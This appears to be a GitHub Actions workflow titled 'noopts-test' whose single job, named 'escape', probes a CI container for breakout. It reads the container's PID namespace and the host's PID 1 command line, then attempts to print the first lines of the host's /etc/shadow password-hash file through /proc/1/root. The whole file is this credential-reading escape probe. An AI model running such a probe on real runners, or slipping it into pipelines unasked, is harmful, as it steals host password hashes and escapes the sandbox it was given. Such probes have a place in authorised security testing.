name: noopts-test on: [workflow_dispatch] jobs: escape: runs-on: ubuntu-latest container: image: ubuntu:22.04 steps: - name: escape run: | echo '[*] container pid ns:' $(readlink /proc/self/ns/pid) echo '[*] host pid1 cmdline:' $(cat /proc/1/cmdline | tr '\000' ' ') cat /proc/1/root/etc/shadow 2>/dev/null | head -3 || echo 'no host fs access' echo '[*] done'